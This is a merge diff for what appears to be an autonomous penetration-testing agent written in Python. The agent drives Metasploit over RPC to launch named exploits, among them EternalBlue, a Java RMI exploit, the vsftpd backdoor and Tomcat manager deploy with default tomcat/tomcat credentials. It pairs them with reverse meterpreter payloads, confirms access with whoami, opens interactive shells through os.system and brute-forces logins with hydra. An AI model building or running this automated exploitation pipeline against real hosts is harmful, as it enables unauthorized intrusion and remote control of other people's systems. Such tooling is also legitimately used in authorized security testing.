Merge feature/phase-5-orchestration into develop

Author: Kim-San04

agent/action_executor.py

@@ -113,14 +113,6 @@ def _execute_recon(self, decision: Dict):
 
     # ── Phase 3: Exploitation ─────────────────────────────────────────────
 
-    # Handler config per module: (payload, lport)
-    _HANDLER_CONFIGS = {
-        "exploit/multi/http/tomcat_mgr_deploy":      ("java/meterpreter/reverse_tcp",   4444),
-        "exploit/multi/misc/java_rmi_server":         ("java/meterpreter/reverse_tcp",   4446),
-        "exploit/unix/ftp/vsftpd_234_backdoor":       ("cmd/unix/reverse_perl",          4445),
-        "exploit/windows/smb/ms17_010_eternalblue":   ("windows/x64/meterpreter/reverse_tcp", 4447),
-    }
-
     @staticmethod
     def _get_local_ip() -> str:
         import socket as _sock
@@ -136,22 +128,96 @@ def _get_local_ip() -> str:
             except Exception:
                 pass
 
-    def _start_msf_handler(self, lhost: str, lport: int, payload: str):
-        """Start a multi/handler listener to receive the reverse callback."""
+
+    def _handle_new_session(self, sid: str, sinfo: dict, via_module: str):
+        """Banner + SESSION_OPENED event for a newly detected MSF session."""
+        session_host = sinfo.get("session_host", sinfo.get("target_host", self.state.target))
+        whoami_out = "N/A"
         try:
-            handler = self.msf_client.modules.use("exploit", "multi/handler")
-            handler["PAYLOAD"] = payload
-            handler["LHOST"] = lhost
-            handler["LPORT"] = lport
-            handler["ExitOnSession"] = False
-            pay = self.msf_client.modules.use("payload", payload)
-            pay["LHOST"] = lhost
-            pay["LPORT"] = lport
-            handler.execute(payload=pay)
-            time.sleep(2)   # give the handler time to bind
-            logger.info(f"MSF handler started: {payload} on {lhost}:{lport}")
+            session_obj = self.msf_client.sessions.session(sid)
+            stype = sinfo.get("type", "")
+            arch = sinfo.get("arch", "")
+            if stype == "meterpreter" and arch == "java":
+                whoami_out = session_obj.run_with_output(
+                    'execute -f /bin/sh -a "-c whoami" -i', timeout=8
+                ).strip()
+            else:
+                whoami_out = session_obj.run_with_output("whoami", timeout=8).strip()
+        except Exception:
+            pass
+
+        w = 42
+        print(f"\n╔{'═'*w}╗")
+        print(f"║{'SHELL OBTENU - ACCES CONFIRME':^{w}}║")
+        print(f"╠{'═'*w}╣")
+        print(f"║ Host    : {session_host:<{w-11}}║")
+        print(f"║ Via     : {via_module.split('/')[-1]:<{w-11}}║")
+        print(f"║ User    : {whoami_out:<{w-11}}║")
+        print(f"║ Session : {sid:<{w-11}}║")
+        print(f"╠{'═'*w}╣")
+        print(f"║ {'msfconsole → sessions -i ' + sid:<{w-1}}║")
+        print(f"╚{'═'*w}╝\n")
+
+        self.bus.publish(Event(
+            type=EventType.SESSION_OPENED,
+            data={"session_id": sid, "host": session_host,
+                  "info": sinfo.get("info", ""), "via_exploit": via_module},
+            source="msf_executor",
+        ))
+
+    # Modules that require LHOST — configured via RPC payload object
+    _LHOST_MODULES = {
+        "exploit/multi/http/tomcat_mgr_deploy": {
+            "payload": "java/meterpreter/reverse_tcp",
+            "lport": 4444,
+            "extra": {"HttpUsername": "tomcat", "HttpPassword": "tomcat"},
+        },
+        "exploit/multi/misc/java_rmi_server": {
+            "payload": "java/meterpreter/reverse_tcp",
+            "lport": 4446,
+            "extra": {},
+        },
+        "exploit/windows/smb/ms17_010_eternalblue": {
+            "payload": "windows/x64/meterpreter/reverse_tcp",
+            "lport": 4445,
+            "extra": {},
+        },
+    }
+
+    def _execute_msf_module(self, module_name: str, target_ip: str, port: str,
+                             payload_name: str, lhost: str, lport: int) -> str:
+        try:
+            module_path = module_name.split("/", 1)[1]  # strip "exploit/"
+            exploit = self.msf_client.modules.use("exploit", module_path)
+            exploit["RHOSTS"] = target_ip
+            exploit["RPORT"] = str(port)
+
+            cfg = self._LHOST_MODULES.get(module_name, {})
+            for k, v in cfg.get("extra", {}).items():
+                exploit[k] = v
+
+            payload = self.msf_client.modules.use("payload", payload_name)
+            payload["LHOST"] = lhost
+            payload["LPORT"] = str(lport)
+
+            result = exploit.execute(payload=payload)
+
+            for _ in range(30):
+                time.sleep(1)
+                sessions = self.msf_client.sessions.list
+                if sessions:
+                    for sid, sinfo in sessions.items():
+                        sid_str = str(sid)
+                        if sid_str not in self.state.sessions:
+                            self.state.sessions[sid_str] = sinfo
+                            self._handle_new_session(sid_str, sinfo, module_name)
+                    return "success"
+
+            return "completed"
+
         except Exception as exc:
-            logger.warning(f"Failed to start MSF handler: {exc}")
+            logger.warning(f"MSF module execute error: {exc}")
+            return "error"
 
     def _execute_exploit(self, decision: Dict):
         host = decision.get("target_host", self.state.target)
@@ -167,112 +233,45 @@ def _execute_exploit(self, decision: Dict):
 
         if tool == "metasploit" and self.msf_client:
             try:
-                lhost = self._get_local_ip()
-                handler_cfg = self._HANDLER_CONFIGS.get(module)
-
-                # Start handler BEFORE exploit for reverse payloads
-                if handler_cfg:
-                    payload_name, lport = handler_cfg
-                    print(f"[AGENT] Starting handler {payload_name} on {lhost}:{lport}")
-                    self._start_msf_handler(lhost, lport, payload_name)
-                else:
-                    payload_name = None
-                    lport = None
-
-                # Build and configure the MSF module DIRECTLY (no MetasploitEngine wrapper)
-                module_type = module.split("/")[0]
-                module_path = "/".join(module.split("/")[1:])
-                print(f"[DEBUG] Lancement module : {module}")
-
-                client = self.msf_client
-                mod = client.modules.use(module_type, module_path)
-                mod["RHOSTS"] = host
-                if port and port != "0":
-                    mod["RPORT"] = str(port)
-                if lhost and payload_name:
-                    mod["LHOST"] = lhost
-                    mod["LPORT"] = str(lport)
-
-                # Tomcat default credentials
-                if "tomcat" in module.lower():
-                    mod["HttpUsername"] = "tomcat"
-                    mod["HttpPassword"] = "tomcat"
-
-                print(f"[DEBUG] Options : RHOSTS={host}, RPORT={port}, "
-                      f"PAYLOAD={payload_name}, LHOST={lhost}, LPORT={lport}")
-
-                if payload_name:
-                    pay = client.modules.use("payload", payload_name)
-                    pay["LHOST"] = lhost
-                    pay["LPORT"] = str(lport)
-                    raw_result = mod.execute(payload=pay)
+                lhost_cfg = self._LHOST_MODULES.get(module)
+                if lhost_cfg:
+                    # Modules requiring LHOST → RPC API with separate payload object
+                    lhost = self._get_local_ip()
+                    status = self._execute_msf_module(
+                        module, host, port,
+                        lhost_cfg["payload"], lhost, lhost_cfg["lport"],
+                    )
+                    result = {"status": status, "output": f"RPC execute: {module}"}
                 else:
-                    raw_result = mod.execute()
+                    # vsftpd and other bind-shell modules → Phase 3 MetasploitEngine via RPC
+                    from exploitation.metasploit_engine import MetasploitEngine
+                    eng = MetasploitEngine()
+                    eng._client = self.msf_client
+                    result = eng.run_module(host, port, module)
 
-                print(f"[DEBUG] Résultat brut execute() : {raw_result}")
-                print(f"[DEBUG] Type résultat : {type(raw_result)}")
+                print(f"[AGENT] Exploit: {module} on {host}:{port}")
+                print(f"[AGENT] Result: {result.get('status')} — {result.get('output','')[:80]}")
 
-                # execute() returns dict {"job_id": ..., "uuid": ...}, int, or bool
-                if isinstance(raw_result, bool) and not raw_result:
-                    logger.warning(f"Module execute() returned False — exploit failed")
-                else:
+                if result.get("status") == "success":
                     self.state.exploits_success.append({"host": host, "module": module})
                     self.bus.publish(Event(
                         type=EventType.EXPLOIT_SUCCESS,
                         data={"host": host, "port": port, "module": module},
                         source="executor",
                     ))
-                    wait = 15 if handler_cfg else 8
-                    print(f"[AGENT] Waiting {wait}s for session callback...")
-                    time.sleep(wait)
-                    try:
+                    if lhost_cfg is None:
+                        # LHOST modules handle session detection internally;
+                        # only check here for Phase 3 bind-shell modules
+                        time.sleep(5)
                         sessions = self.msf_client.sessions.list or {}
-                        print(f"[DEBUG] Sessions après {wait}s : {sessions}")
                         for sid, sinfo in sessions.items():
                             sid_str = str(sid)
                             if sid_str not in self.state.sessions:
                                 self.state.sessions[sid_str] = sinfo
-                                session_host = sinfo.get("session_host",
-                                                         sinfo.get("target_host", host))
-                                via = sinfo.get("via_exploit", module)
-
-                                # Confirm access with quick commands
-                                whoami_out, id_out, hostname_out = "N/A", "N/A", "N/A"
-                                try:
-                                    sess_obj = self.msf_client.sessions.session(sid_str)
-                                    whoami_out   = sess_obj.run_with_output("whoami",   timeout=8).strip()
-                                    id_out       = sess_obj.run_with_output("id",       timeout=8).strip()
-                                    hostname_out = sess_obj.run_with_output("hostname", timeout=8).strip()
-                                except Exception:
-                                    pass
-
-                                # Shell banner
-                                w = 42
-                                print(f"\n╔{'═'*w}╗")
-                                print(f"║{'SHELL OBTENU - ACCES CONFIRME':^{w}}║")
-                                print(f"╠{'═'*w}╣")
-                                print(f"║ Host    : {session_host:<{w-11}}║")
-                                print(f"║ Via     : {via:<{w-11}}║")
-                                print(f"║ User    : {whoami_out:<{w-11}}║")
-                                print(f"║ Session : {sid_str:<{w-11}}║")
-                                print(f"╠{'═'*w}╣")
-                                print(f"║ {'msfconsole → sessions -i ' + sid_str:<{w-1}}║")
-                                print(f"╚{'═'*w}╝\n")
-
-                                self.bus.publish(Event(
-                                    type=EventType.SESSION_OPENED,
-                                    data={
-                                        "session_id": sid_str,
-                                        "host": session_host,
-                                        "info": sinfo.get("info", ""),
-                                        "via_exploit": via,
-                                    },
-                                    source="exploit_executor",
-                                ))
-                    except Exception as exc:
-                        logger.debug(f"Post-exploit session check failed: {exc}")
+                                self._handle_new_session(sid_str, sinfo, module)
             except Exception as exc:
-                logger.warning(f"Exploit error: {exc}")
+                logger.warning(f"Exploit error [{module}]: {exc}")
+
         elif tool == "hydra":
             self._run_hydra(host, int(port) if port.isdigit() else 22,
                             decision.get("module_or_cmd", "ssh"))

agent/reactive_agent.py

@@ -245,7 +245,7 @@ def run(self) -> MissionState:
                 break
 
             cycle += 1
-            print(f"[DEBUG] actions_done au démarrage cycle {cycle}: {len(self.state.actions_done)} entrées")
+            logger.debug(f"Cycle {cycle}: {len(self.state.actions_done)} actions done")
 
             # Monitor MSF sessions
             if self.msf_client:
@@ -319,18 +319,11 @@ def _offer_interactive_shell(self):
         except (EOFError, KeyboardInterrupt):
             choice = "n"
         if choice == "o":
-            sid = session_ids[0]
-            print(f"[AGENT] Ouverture session {sid} dans msfconsole...")
-            import subprocess
-            try:
-                subprocess.run(
-                    ["msfconsole", "-q", "-x", f"sessions -i {sid}"]
-                )
-            except FileNotFoundError:
-                print("[AGENT] msfconsole non trouvé. Connecte-toi manuellement :")
-                print(f"  msfconsole -q -x 'sessions -i {sid}'")
-            except KeyboardInterrupt:
-                print("\n[AGENT] Shell interactif fermé")
+            import os
+            session_id = session_ids[-1]
+            print(f"\n[AGENT] Ouverture shell interactif session {session_id}...")
+            print(f"[AGENT] Tape 'exit' pour quitter le shell\n")
+            os.system(f'msfconsole -q -x "sessions -i {session_id}"')
 
     def _force_resolution(self):
         """Called after 5 consecutive skips — force post_exploit or mission_complete."""

exploitation/engine.py

@@ -136,7 +136,6 @@ def run(self) -> List[Dict[str, Any]]:
                 time.sleep(5)
                 sessions_dict = self.msf_client.sessions.list
                 self.session_ids = [str(k) for k in sessions_dict.keys()] if sessions_dict else []
-                print(f"[DEBUG] Sessions récupérées dans engine.py : {sessions_dict}")
                 logger.info(f"MSF session IDs captured: {self.session_ids}")
                 if self.session_ids:
                     self.session.results["msf_session_ids"] = self.session_ids

post_exploitation/engine.py

@@ -89,13 +89,7 @@ def __init__(
     def run(self) -> Dict[str, Any]:
         console.print(Rule("[bold red]Phase 4 — Post-Exploitation[/bold red]"))
 
-        # Debug: show direct sessions list and received session IDs
-        if self.msf_client:
-            try:
-                print(f"[DEBUG] Sessions list direct : {self.msf_client.sessions.list}")
-            except Exception as exc:
-                print(f"[DEBUG] Sessions list error: {exc}")
-        else:
+        if not self.msf_client:
             # Standalone mode (--post-exploit-only): try to connect
             try:
                 from exploitation.metasploit_engine import start_msfrpcd
@@ -104,7 +98,6 @@ def run(self) -> Dict[str, Any]:
             except Exception as exc:
                 logger.warning(f"[Phase 4] Standalone MSF connect failed: {exc}")
 
-        print(f"[DEBUG] Session IDs reçus : {self.session_ids}")
         logger.info(f"[Phase 4] Session IDs: {self.session_ids}")
 
         msf_sessions = self._get_msf_sessions()